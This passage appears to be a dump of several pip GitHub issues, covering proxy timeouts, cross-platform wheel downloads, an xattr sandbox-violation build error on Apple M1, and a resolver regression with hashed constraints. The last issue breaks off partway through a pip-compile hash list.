  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/_vendor/urllib3/util/retry.py", line 398, in increment
    raise MaxRetryError(_pool, url, error or ResponseError(cause))
pip._vendor.urllib3.exceptions.MaxRetryError: HTTPSConnectionPool(host='pypi.python.org', port=443): Max retries exceeded with url: /pypi/pip/json (Caused by ProxyError('Cannot connect to proxy.', timeout('timed out',)))

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/utils/outdated.py", line 141, in pip_version_check
    headers={"Accept": "application/json"},
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/_vendor/requests/sessions.py", line 543, in get
    return self.request('GET', url, **kwargs)
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/download.py", line 387, in request
    return super(PipSession, self).request(method, url, *args, **kwargs)
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/_vendor/requests/sessions.py", line 530, in request
    resp = self.send(prep, **send_kwargs)
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/_vendor/requests/sessions.py", line 640, in send
    r = adapter.send(request, **kwargs)
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/_vendor/cachecontrol/adapter.py", line 47, in send
    resp = super(CacheControlAdapter, self).send(request, **kw)
  File "/root/pip_install_proxy/venv/lib64/python3.6/site-packages/pip/_vendor/requests/adapters.py", line 502, in send
    raise ProxyError(e, request=request)
pip._vendor.requests.exceptions.ProxyError: HTTPSConnectionPool(host='pypi.python.org', port=443): Max retries exceeded with url: /pypi/pip/json (Caused by ProxyError('Cannot connect to proxy.', timeout('timed out',)))

```

```
# curl -L https://pypi.python.org

<!DOCTYPE html>
<html lang="en" dir="ltr">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">

    <meta name="defaultLanguage" content="en">
    <meta name="availableLanguages" content="en, es, fr, ja, pt_BR, uk, el, de, zh_Hans, ru, he">

    

    <title>PyPI · The Python Package Index</title>
    <meta name="description" content="The Python Package Index (PyPI) is a repository of software for the Python programming language.">

    <link rel="stylesheet" href="/static/css/warehouse-ltr.36481e35.css">
    <link rel="stylesheet" href="/static/css/fontawesome.6002a161.css">
    <link rel="stylesheet" href="/static/css/regular.98fbf39a.css">
    <link rel="stylesheet" href="/static/css/solid.c3b5f0b5.css">
    <link rel="stylesheet" href="/static/css/brands.2c303be1.css">
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:400,400italic,600,600italic,700,700italic%7CSource+Code+Pro:500">
    <noscript>
      <link rel="stylesheet" href="/static/css/noscript.14e57721.css">
    </noscript>

    

    <link rel="icon" href="/static/images/favicon.6a76275d.ico" type="image/x-icon">

    <link rel="alternate" type="application/rss+xml" title="RSS: 40 latest updates" href="/rss/updates.xml">
    <link rel="alternate" type="application/rss+xml" title="RSS: 40 newest packages" href="/rss/packages.xml">
    

```

user: wushuzh
issue_9267: state: open
title: improve documentation regarding wheels, preferring binaries
body: Copying from [this tweet](https://twitter.com/toastbiskitpapi/status/1336696952268972033):

> It would be really helpful if more documentation was added in regards to "whl" binaries particularly my issue was I vendored my packages using "pip download -d vendor" but for some packages that downloads the source "tar.gz" when in reality we want "--prefer-binary"

> Making this explicit would help a long way as the current docs do not reflect that.
user: brainwane
labels: type: docs: Documentation related
C: wheel: The wheel format and 'pip wheel' command
issue_9262: state: open
title: pip download --platform fails if wheel is missing at least one dependency.
body: <!--
If you're reporting an issue for `--use-feature=2020-resolver`, use the "Dependency resolver failures / errors" template instead.
-->
(Not sure if it's a bug or a feature request.)

**Environment**

* pip version: 20.3.0
* Python version: 3.8.5
* OS: Linux

<!-- Feel free to add more information about your environment here -->

**Description**
It is impossible to download wheels using ``pip download`` for another platform if at least one of the dependencies is missing a wheel.

```
pip download \
    --dest /tmp/index \
    --platform win_amd64 \
    --python-version '3.7.3' \
    --only-binary=:all: \
    aiobotocore[boto3]==0.4.3
```

This will always produce the following error:
```
ERROR: Could not find a version that satisfies the requirement wrapt>=1.10.10 (from aiobotocore[boto3]==0.4.3) (from versions: none)
ERROR: No matching distribution found for wrapt>=1.10.10 (from aiobotocore[boto3]==0.4.3)
```


**Expected behavior**
I would expect pip to download at least the available wheels, and either skip packages that don't have a wheel available, or download the .tar.gz in these situations. Or provide me an option to choose what to do in these cases.

**How to Reproduce**
(see above)

**Output**
(see above)

user: jonathanslenders
issue_9261: state: open
title: Packages are downloaded to multiple sites_ packages
body: <!--
If you're reporting an issue for `--use-feature=2020-resolver`, use the "Dependency resolver failures / errors" template instead.
-->

**Environment**

* pip version: 3.8
* Python version: 3.8.3
* OS: centos 8

<!-- Feel free to add more information about your environment here -->
![Uploading image.png…]()


**Description**
<!-- A clear and concise description of what the bug is. -->
       There are two site packages in my project (USR / local / lib / python3.8/site-package, usr / local / lib64 / python3.8/site-package). When I install the package, PIP will download it to these two packages, resulting in my project's inability to own these two packages

**Expected behavior**
<!-- A clear and concise description of what you expected to happen. -->
PIP downloads files to a package
**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->

1. Get package from '...'
2. Then run '...'
3. An error occurs.

**Output**

```
Paste the output of the steps above, including the commands themselves and
pip's output/traceback etc.
```

user: wjs1995
issue_9248: state: open
title: Unable to install xattr, results in Sandbox violation (MOSX Big Sur, M1)
body: <!--
If you're reporting an issue for `--use-feature=2020-resolver`, use the "Dependency resolver failures / errors" template instead.
-->

**Environment**

pip 20.3.1 from /Library/Python/3.8/site-packages/pip (python 3.8)
benjamin@Nerv ~ % pip list --outdated
Package    Version Latest Type
---------- ------- ------ -----
setuptools 41.2.0  51.0.0 wheel
wheel      0.33.1  0.36.1 wheel

Pip 20.3.1
Python 3.8
Big Sur 11.0.1 (Apple M1)

**Description**

Clean install with Python 3.8.2, installed virtualenv, and trying to install various modules.
Specifically in this case xattr.  

Xattr is being loaded, but results in this exception report:

```
Collecting xattr
  Using cached xattr-0.9.7.tar.gz (13 kB)
    ERROR: Command errored out with exit status 1:
     command: /Library/Developer/CommandLineTools/usr/bin/python3 -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/private/var/folders/6g/0vldjqgd5d55rdv163phqh6r0000gn/T/pip-install-jncbjfpu/xattr_08a31bc4fb204d82a4d62457ddff34ba/setup.py'"'"'; __file__='"'"'/private/var/folders/6g/0vldjqgd5d55rdv163phqh6r0000gn/T/pip-install-jncbjfpu/xattr_08a31bc4fb204d82a4d62457ddff34ba/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /private/var/folders/6g/0vldjqgd5d55rdv163phqh6r0000gn/T/pip-pip-egg-info-798hcrbo
         cwd: /private/var/folders/6g/0vldjqgd5d55rdv163phqh6r0000gn/T/pip-install-jncbjfpu/xattr_08a31bc4fb204d82a4d62457ddff34ba/
    Complete output (167 lines):
    c/_cffi_backend.c:5887:16: warning: comparison of integers of different signs: 'ffi_status' and 'int' [-Wsign-compare]
        if (status == -1) {
            ~~~~~~ ^  ~~
    1 warning generated.
    c/_cffi_backend.c:5887:16: warning: comparison of integers of different signs: 'ffi_status' and 'int' [-Wsign-compare]
        if (status == -1) {
            ~~~~~~ ^  ~~
    1 warning generated.
    Traceback (most recent call last):
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/distutils/core.py", line 148, in setup
        dist.run_commands()
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/distutils/dist.py", line 966, in run_commands
        self.run_command(cmd)
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/distutils/dist.py", line 985, in run_command
        cmd_obj.run()
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/setuptools/command/bdist_egg.py", line 172, in run
        cmd = self.call_command('install_lib', warn_dir=0)
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/setuptools/command/bdist_egg.py", line 158, in call_command
        self.run_command(cmdname)
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/distutils/cmd.py", line 313, in run_command
        self.distribution.run_command(command)
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/distutils/dist.py", line 985, in run_command
        cmd_obj.run()
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/setuptools/command/install_lib.py", line 15, in run
        self.byte_compile(outfiles)
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/distutils/command/install_lib.py", line 132, in byte_compile
        byte_compile(files, optimize=0,
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/distutils/util.py", line 466, in byte_compile
        compile(file, cfile, dfile)
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/py_compile.py", line 157, in compile
        os.makedirs(dirname)
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/os.py", line 213, in makedirs
        makedirs(head, exist_ok=exist_ok)
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/os.py", line 213, in makedirs
        makedirs(head, exist_ok=exist_ok)
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/os.py", line 213, in makedirs
        makedirs(head, exist_ok=exist_ok)
      [Previous line repeated 2 more times]
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/os.py", line 223, in makedirs
        mkdir(name, mode)
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/setuptools/sandbox.py", line 310, in wrap
        path = self._remap_input(name, path, *args, **kw)
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/setuptools/sandbox.py", line 452, in _remap_input
        self._violation(operation, os.path.realpath(path), *args, **kw)
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/setuptools/sandbox.py", line 407, in _violation
        raise SandboxViolation(operation, args, kw)
    setuptools.sandbox.SandboxViolation: SandboxViolation: mkdir('/Users/benjamin/Library/Caches/com.apple.python/private/var/folders/6g/0vldjqgd5d55rdv163phqh6r0000gn/T/easy_install-259hw_9z', 511) {}
    
    The package setup script has attempted to modify files on your system
    that are not within the EasyInstall build area, and has been aborted.
    
    This package cannot be safely installed by EasyInstall, and may not
    support alternate installation locations even if you run its setup
    script by hand.  Please inform the package's author and the EasyInstall
    maintainers to find out if a fix or workaround is available.
    
    
    During handling of the above exception, another exception occurred:
    
    Traceback (most recent call last):
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/setuptools/sandbox.py", line 154, in save_modules
        yield saved
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/setuptools/sandbox.py", line 195, in setup_context
        yield
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/setuptools/sandbox.py", line 250, in run_setup
        _execfile(setup_script, ns)
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/setuptools/sandbox.py", line 45, in _execfile
        exec(code, globals, locals)
      File "/var/folders/6g/0vldjqgd5d55rdv163phqh6r0000gn/T/easy_install-259hw_9z/cffi-1.14.4/setup.py", line 179, in <module>
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/setuptools/__init__.py", line 145, in setup
        return distutils.core.setup(**attrs)
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/distutils/core.py", line 163, in setup
        raise SystemExit("error: " + str(msg))
    SystemExit: error: SandboxViolation: mkdir('/Users/benjamin/Library/Caches/com.apple.python/private/var/folders/6g/0vldjqgd5d55rdv163phqh6r0000gn/T/easy_install-259hw_9z', 511) {}
    
    The package setup script has attempted to modify files on your system
    that are not within the EasyInstall build area, and has been aborted.
    
    This package cannot be safely installed by EasyInstall, and may not
    support alternate installation locations even if you run its setup
    script by hand.  Please inform the package's author and the EasyInstall
    maintainers to find out if a fix or workaround is available.
    
    
    During handling of the above exception, another exception occurred:
    
    Traceback (most recent call last):
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/setuptools/command/easy_install.py", line 1144, in run_setup
        run_setup(setup_script, args)
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/setuptools/sandbox.py", line 253, in run_setup
        raise
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/contextlib.py", line 131, in __exit__
        self.gen.throw(type, value, traceback)
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/setuptools/sandbox.py", line 195, in setup_context
        yield
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/contextlib.py", line 131, in __exit__
        self.gen.throw(type, value, traceback)
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/setuptools/sandbox.py", line 166, in save_modules
        saved_exc.resume()
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/setuptools/sandbox.py", line 141, in resume
        six.reraise(type, exc, self._tb)
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/setuptools/_vendor/six.py", line 685, in reraise
        raise value.with_traceback(tb)
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/setuptools/sandbox.py", line 154, in save_modules
        yield saved
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/setuptools/sandbox.py", line 195, in setup_context
        yield
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/setuptools/sandbox.py", line 250, in run_setup
        _execfile(setup_script, ns)
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/setuptools/sandbox.py", line 45, in _execfile
        exec(code, globals, locals)
      File "/var/folders/6g/0vldjqgd5d55rdv163phqh6r0000gn/T/easy_install-259hw_9z/cffi-1.14.4/setup.py", line 179, in <module>
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/setuptools/__init__.py", line 145, in setup
        return distutils.core.setup(**attrs)
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/distutils/core.py", line 163, in setup
        raise SystemExit("error: " + str(msg))
    SystemExit: error: SandboxViolation: mkdir('/Users/benjamin/Library/Caches/com.apple.python/private/var/folders/6g/0vldjqgd5d55rdv163phqh6r0000gn/T/easy_install-259hw_9z', 511) {}
    
    The package setup script has attempted to modify files on your system
    that are not within the EasyInstall build area, and has been aborted.
    
    This package cannot be safely installed by EasyInstall, and may not
    support alternate installation locations even if you run its setup
    script by hand.  Please inform the package's author and the EasyInstall
    maintainers to find out if a fix or workaround is available.
    
    
    During handling of the above exception, another exception occurred:
    
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "/private/var/folders/6g/0vldjqgd5d55rdv163phqh6r0000gn/T/pip-install-jncbjfpu/xattr_08a31bc4fb204d82a4d62457ddff34ba/setup.py", line 34, in <module>
        setup(
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/setuptools/__init__.py", line 144, in setup
        _install_setup_requires(attrs)
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/setuptools/__init__.py", line 139, in _install_setup_requires
        dist.fetch_build_eggs(dist.setup_requires)
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/setuptools/dist.py", line 716, in fetch_build_eggs
        resolved_dists = pkg_resources.working_set.resolve(
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/pkg_resources/__init__.py", line 780, in resolve
        dist = best[req.key] = env.best_match(
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/pkg_resources/__init__.py", line 1065, in best_match
        return self.obtain(req, installer)
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/pkg_resources/__init__.py", line 1077, in obtain
        return installer(requirement)
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/setuptools/dist.py", line 786, in fetch_build_egg
        return cmd.easy_install(req)
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/setuptools/command/easy_install.py", line 679, in easy_install
        return self.install_item(spec, dist.location, tmpdir, deps)
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/setuptools/command/easy_install.py", line 705, in install_item
        dists = self.install_eggs(spec, download, tmpdir)
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/setuptools/command/easy_install.py", line 890, in install_eggs
        return self.build_and_install(setup_script, setup_base)
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/setuptools/command/easy_install.py", line 1158, in build_and_install
        self.run_setup(setup_script, setup_base, args)
      File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/setuptools/command/easy_install.py", line 1146, in run_setup
        raise DistutilsError("Setup script exited with %s" % (v.args[0],))
    distutils.errors.DistutilsError: Setup script exited with error: SandboxViolation: mkdir('/Users/benjamin/Library/Caches/com.apple.python/private/var/folders/6g/0vldjqgd5d55rdv163phqh6r0000gn/T/easy_install-259hw_9z', 511) {}
    
    The package setup script has attempted to modify files on your system
    that are not within the EasyInstall build area, and has been aborted.
    
    This package cannot be safely installed by EasyInstall, and may not
    support alternate installation locations even if you run its setup
    script by hand.  Please inform the package's author and the EasyInstall
    maintainers to find out if a fix or workaround is available.
    
    ----------------------------------------
ERROR: Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
```

This appears to result in a sandbox violation.

This appears to occur, both in the virtualenv, as well as outside the virtualenv (via pip install --user xattr). 

**Expected behavior**

A properly installed Xattr.

**How to Reproduce**

1. Get package from pypy (pip install xattr)
2. The result being the sandbox error.

This could be an M1 issue, I suspect there's a wheel missing, and having an issue during compilation?  If there is anything I can do to assist?  I'm just uncertain at how to debug/address the sandbox error...

user: bschollnick
labels: resolution: wrong project: Should be reported elsewhere
issue_9243: state: open
title: [regression] resolvelib-based dependency processing of constraints with hashes fails to "see" the exact pins
body: **What did you want to do?**
Use pip-tools generated requirements.txt + constraints.txt pair with hashes via `pip install -r requirements.txt -c constraints.txt`. It seems to be unintentionally broken with the new resolvelib-based dependency resolver and works with the old one.

This seems to be related to https://github.com/pypa/pip/issues/8792 but PR https://github.com/pypa/pip/pull/8839 that claims to fix it doesn't add the specific case I'm presenting here to tests and so it is probably overlooked.

Please find the repro below. Note that I'm adding an unconstrainted direct env dep to `myst.in` and generate the concrete pins with hashes in `myst.txt` for simplicity but the case I've actually hit in the wild was with `>= 0.10.0` (that shouldn't matter here).

**STR + Output**

```console
$ python -m pip install pip-tools -U
Collecting pip-tools
  Downloading pip_tools-5.4.0-py2.py3-none-any.whl (45 kB)
     |████████████████████████████████| 45 kB 1.3 MB/s 
Requirement already satisfied, skipping upgrade: six in ~/.pyenv/versions/3.9.0/lib/python3.9/site-packages (from pip-tools) (1.15.0)
Requirement already satisfied, skipping upgrade: click>=7 in ~/.pyenv/versions/3.9.0/lib/python3.9/site-packages (from pip-tools) (7.1.2)
Requirement already satisfied, skipping upgrade: pip>=20.1 in ~/.pyenv/versions/3.9.0/lib/python3.9/site-packages (from pip-tools) (20.2.3)
Installing collected packages: pip-tools
  Attempting uninstall: pip-tools
    Found existing installation: pip-tools 5.3.1
    Uninstalling pip-tools-5.3.1:
      Successfully uninstalled pip-tools-5.3.1
Successfully installed pip-tools-5.4.0
WARNING: You are using pip version 20.2.3; however, version 20.3.1 is available.
You should consider upgrading via the '~/.pyenv/versions/3.9.0/bin/python -m pip install --upgrade pip' command.

$ echo myst-parser > myst.in

$ python -m piptools compile --generate-hashes --output-file myst.txt myst.in
#
# This file is autogenerated by pip-compile
# To update, run:
#
#    pip-compile --generate-hashes --output-file=myst.txt myst.in
#
alabaster==0.7.12 \
    --hash=sha256:446438bdcca0e05bd45ea2de1668c1d9b032e1a9154c2c259092d77031ddd359 \
    --hash=sha256:a661d72d58e6ea8a57f7a86e37d86716863ee5e92788398526d58b26a4e4dc02 \
    # via sphinx
attrs==20.3.0 \
    --hash=sha256:31b2eced602aa8423c2aea9c76a724617ed67cf9513173fd3a4f03e3a929c7e6 \
    --hash=sha256:832aa3cde19744e49938b91fea06d69ecb9e649c93ba974535d08ad92164f700 \
    # via markdown-it-py
babel==2.9.0 \
    --hash=sha256:9d35c22fcc79893c3ecc85ac4a56cde1ecf3f19c540bba0922308a6c06ca6fa5 \
    --hash=sha256:da031ab54472314f210b0adcff1588ee5d1d1d0ba4dbd07b94dba82bde791e05 \
    # via sphinx
certifi==2020.12.5 \
    --hash=sha256:1a4995114262bffbc2413b159f2a1a480c969de6e6eb13ee966d470af86af59c \
    --hash=sha256:719a74fb9e33b9bd44cc7f3a8d94bc35e4049deebe19ba7d8e108280cfd59830 \
    # via requests
chardet==3.0.4 \
    --hash=sha256:84ab92ed1c4d4f16916e05906b6b75a6c0fb5db821cc65e70cbd64a3e2a5eaae \
    --hash=sha256:fc323ffcaeaed0e0a02bf4d117757b98aed530d9ed4531e3e15460124c106691 \
    # via requests
docutils==0.16 \
    --hash=sha256:0c5b78adfbf7762415433f5515cd5c9e762339e23369dbe8000d84a4bf4ab3af \
    --hash=sha256:c2de3a60e9e7d07be26b7f2b00ca0309c207e06c100f9cc2a94931fc75a478fc \
    # via myst-parser, sphinx
idna==2.10 \
    --hash=sha256:b307872f855b18632ce0c21c5e45be78c0ea7ae4c15c828c20788b26921eb3f6 \
    --hash=sha256:b97d804b1e9b523befed77c48dacec60e6dcb0b5391d57af6a65a312a90648c0 \
    # via requests
imagesize==1.2.0 \
    --hash=sha256:6965f19a6a2039c7d48bca7dba2473069ff854c36ae6f19d2cde309d998228a1 \
    --hash=sha256:b1f6b5a4eab1f73479a50fb79fcf729514a900c341d8503d62a62dbc4127a2b1 \
    # via sphinx
jinja2==2.11.2 \
    --hash=sha256:89aab215427ef59c34ad58735269eb58b1a5808103067f7bb9d5836c651b3bb0 \
    --hash=sha256:f0a4641d3cf955324a89c04f3d94663aa4d638abe8f733ecd3582848e1c37035 \
    # via sphinx
markdown-it-py==0.5.6 \
    --hash=sha256:6143d11221495edbf71beb7e455821ae6c8f0156710a1b11812662ed6dbd165b \
    --hash=sha256:dcfe4a0c6bef711cb6c42494ebf23a3cfe6f249bf995556498497dd8193bfc22 \
    # via myst-parser
markupsafe==1.1.1 \
    --hash=sha256:00bc623926325b26bb9605ae9eae8a215691f33cae5df11ca5424f06f2d1f473 \
    --hash=sha256:09027a7803a62ca78792ad89403b1b7a73a01c8cb65909cd876f7fcebd79b161 \
    --hash=sha256:09c4b7f37d6c648cb13f9230d847adf22f8171b1ccc4d5682398e77f40309235 \
    --hash=sha256:1027c282dad077d0bae18be6794e6b6b8c91d58ed8a8d89a89d59693b9131db5 \
    --hash=sha256:13d3144e1e340870b25e7b10b98d779608c02016d5184cfb9927a9f10c689f42 \
    --hash=sha256:24982cc2533820871eba85ba648cd53d8623687ff11cbb805be4ff7b4c971aff \
    --hash=sha256:29872e92839765e546828bb7754a68c418d927cd064fd4708fab9fe9c8bb116b \
    --hash=sha256:43a55c2930bbc139570ac2452adf3d70cdbb3cfe5912c71cdce1c2c6bbd9c5d1 \
    --hash=sha256:46c99d2de99945ec5cb54f23c8cd5689f6d7177305ebff350a58ce5f8de1669e \
    --hash=sha256:500d4957e52ddc3351cabf489e79c91c17f6e0899158447047588650b5e69183 \
    --hash=sha256:535f6fc4d397c1563d08b88e485c3496cf5784e927af890fb3c3aac7f933ec66 \
    --hash=sha256:596510de112c685489095da617b5bcbbac7dd6384aeebeda4df6025d0256a81b \
    --hash=sha256:62fe6c95e3ec8a7fad637b7f3d372c15ec1caa01ab47926cfdf7a75b40e0eac1 \
    --hash=sha256:6788b695d50a51edb699cb55e35487e430fa21f1ed838122d722e0ff0ac5ba15 \
    --hash=sha256:6dd73240d2af64df90aa7c4e7481e23825ea70af4b4922f8ede5b9e35f78a3b1 \
    --hash=sha256:717ba8fe3ae9cc0006d7c451f0bb265ee07739daf76355d06366154ee68d221e \
    --hash=sha256:79855e1c5b8da654cf486b830bd42c06e8780cea587384cf6545b7d9ac013a0b \
    --hash=sha256:7c1699dfe0cf8ff607dbdcc1e9b9af1755371f92a68f706051cc8c37d447c905 \
    --hash=sha256:88e5fcfb52ee7b911e8bb6d6aa2fd21fbecc674eadd44118a9cc3863f938e735 \
    --hash=sha256:8defac2f2ccd6805ebf65f5eeb132adcf2ab57aa11fdf4c0dd5169a004710e7d \
    --hash=sha256:98c7086708b163d425c67c7a91bad6e466bb99d797aa64f965e9d25c12111a5e \
    --hash=sha256:9add70b36c5666a2ed02b43b335fe19002ee5235efd4b8a89bfcf9005bebac0d \
    --hash=sha256:9bf40443012702a1d2070043cb6291650a0841ece432556f784f004937f0f32c \
    --hash=sha256:ade5e387d2ad0d7ebf59146cc00c8044acbd863725f887353a10df825fc8ae21 \
    --hash=sha256:b00c1de48212e4cc9603895652c5c410df699856a2853135b3967591e4beebc2 \
    --hash=sha256:b1282f8c00509d99fef04d8ba936b156d419be841854fe901d8ae224c59f0be5 \
    --hash=sha256:b2051432115498d3562c084a49bba65d97cf251f5a331c64a12ee7e04dacc51b \
    --hash=sha256:ba59edeaa2fc6114428f1637ffff42da1e311e29382d81b339c1817d37ec93c6 \
    --hash=sha256:c8716a48d94b06bb3b2524c2b77e055fb313aeb4ea620c8dd03a105574ba704f \
    --hash=sha256:cd5df75523866410809ca100dc9681e301e3c27567cf498077e8551b6d20e42f \
    --hash=sha256:cdb132fc825c38e1aeec2c8aa9338310d29d337bebbd7baa06889d09a60a1fa2 \
    --hash=sha256:e249096428b3ae81b08327a63a485ad0878de3fb939049038579ac0ef61e17e7 \
    --hash=sha256:e8313f01ba26fbbe36c7be1966a7b7424942f670f38e666995b88d012765b9be \
    # via jinja2
myst-parser==0.12.10 \
    --hash=sha256:4612c46196e0344bb7e49dbc3deb288f9b9a88fcf6e9f210f7f3ea5bc9899bfc \
    --hash=sha256:a5311da4398869e596250d5a93b523735c3beb8bc9d3eba853223c705802043b \
    # via -r myst.in
packaging==20.7 \
    --hash=sha256:05af3bb85d320377db281cf254ab050e1a7ebcbf5410685a9a407e18a1f81236 \
    --hash=sha256:eb41423378682dadb7166144a4926e443093863024de508ca5c9737d6bc08376 \
    # via sphinx
pygments==2.7.3 \
    --hash=sha256:ccf3acacf3782cbed4a989426012f1c535c9a90d3a7fc3f16d231b9372d2b716 \
    --hash=sha256:f275b6c0909e5dafd2d6269a656aa90fa58ebf4a74f8fcf9053195d226b24a08 \
    # via sphinx
pyparsing==2.4.7 \
    --hash=sha256:c203ec8783bf771a155b207279b9bccb8dea02d8f0c9e5f8ead507bc3246ecc1 \
    --hash=sha256:ef9d7589ef3c200abe66653d3f1ab1033c3c419ae9b9bdb1240a85b024efc88b \
    # via packaging
pytz==2020.4 \
    --hash=sha256:3e6b7dd2d1e0a59084bcee14a17af60c5c562cdc16d828e8eba2e683d3a7e268 \
    --hash=sha256:5c55e189b682d420be27c6995ba6edce0c0a77dd67bfbe2ae6607134d5851ffd \
    # via babel
pyyaml==5.3.1 \
    --hash=sha256:06a0d7ba600ce0b2d2fe2e78453a470b5a6e000a985dd4a4e54e436cc36b0e97 \
    --hash=sha256:240097ff019d7c70a4922b6869d8a86407758333f02203e0fc6ff79c5dcede76 \
    --hash=sha256:4f4b913ca1a7319b33cfb1369e91e50354d6f07a135f3b901aca02aa95940bd2 \
    --hash=sha256:6034f55dab5fea9e53f436aa68fa3ace2634918e8b5994d82f3621c04ff5ed2e \
    --hash=sha256:69f00dca373f240f842b2931fb2c7e14ddbacd1397d57157a9b005a6a9942648 \
    --hash=sha256:73f099454b799e05e5ab51423c7bcf361c58d3206fa7b0d555426b1f4d9a3eaf \
    --hash=sha256:74809a57b329d6cc0fdccee6318f44b9b8649961fa73144a98735b0aaf029f1f \
    --hash=sha256:7739fc0fa8205b3ee8808aea45e968bc90082c10aef6ea95e855e10abf4a37b2 \
